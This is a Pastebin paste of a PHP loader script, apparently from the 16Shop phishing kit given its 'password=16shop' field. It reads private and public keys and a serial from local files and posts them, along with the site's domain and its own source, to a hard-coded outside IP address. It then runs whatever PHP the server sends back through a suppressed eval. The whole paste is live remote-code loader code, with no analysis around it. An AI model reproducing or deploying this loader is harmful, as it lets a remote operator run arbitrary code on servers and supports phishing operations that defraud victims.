Advertisement
Guest User

asu

a guest
Jul 22nd, 2019
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. <?php
  2. function checkcurl(){
  3. return function_exists('curl_version');
  4. }
  5. $check = checkcurl();
  6. if($check == "0") {
  7. echo "Curl belum terinstall, mohon install php curl terlebih dahulu.";
  8. exit();
  9. }
  10. function load($domain,$path) {
  11. $get = curl_init();
  12. $config = parse_ini_file('key.ini');
  13. $serials = parse_ini_file('.serial');
  14. $serial = $serials['id'];
  15. $key = $config['private_key'];
  16. $publickey = $config['public_key'];
  17. $getfile = booya();
  18. curl_setopt($get, CURLOPT_URL,"http://144.217.104.56/api/server_jos.php");
  19. curl_setopt($get, CURLOPT_POST, 1);
  20. curl_setopt($get, CURLOPT_POSTFIELDS, "password=16shop&key=$key&domain=$domain&path=$path&serial=$serial&public=$publickey&file=$getfile");
  21. curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  22. $server_output = curl_exec($get);
  23. curl_close($get);
  24. return $server_output;
  25. }
  26.  
  27. function booya(){
  28. $click = "load.php";
  29. $file = fopen($click, "r");
  30. $check = fread($file, filesize($click));
  31. fclose($file);
  32. return urlencode($check);
  33. }
  34.  
  35. function admin($domain,$path) {
  36. $getfile = booya();
  37. $get = curl_init();
  38. curl_setopt($get, CURLOPT_URL,"http://144.217.104.56/api/admin.php");
  39. curl_setopt($get, CURLOPT_POST, 1);
  40. curl_setopt($get, CURLOPT_POSTFIELDS, "password=16shop&domain=$domain&path=$path&file=$getfile");
  41. curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  42. $server_output = curl_exec($get);
  43. curl_close($get);
  44. return $server_output;
  45. }
  46. function welcome($val) {
  47. @eval("?>".$val);
  48. }
  49. function valid_file($path){
  50. $config = parse_ini_file('key.ini');
  51. $key = $config['private_key'];
  52. $domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']);
  53. welcome(load($domain,$path));
  54. }
  55. function load_admin($path){
  56. $config = parse_ini_file('key.ini');
  57. $key = $config['private_key'];
  58. $domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']);
  59. welcome(admin($domain,$path));
  60. }
  61. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement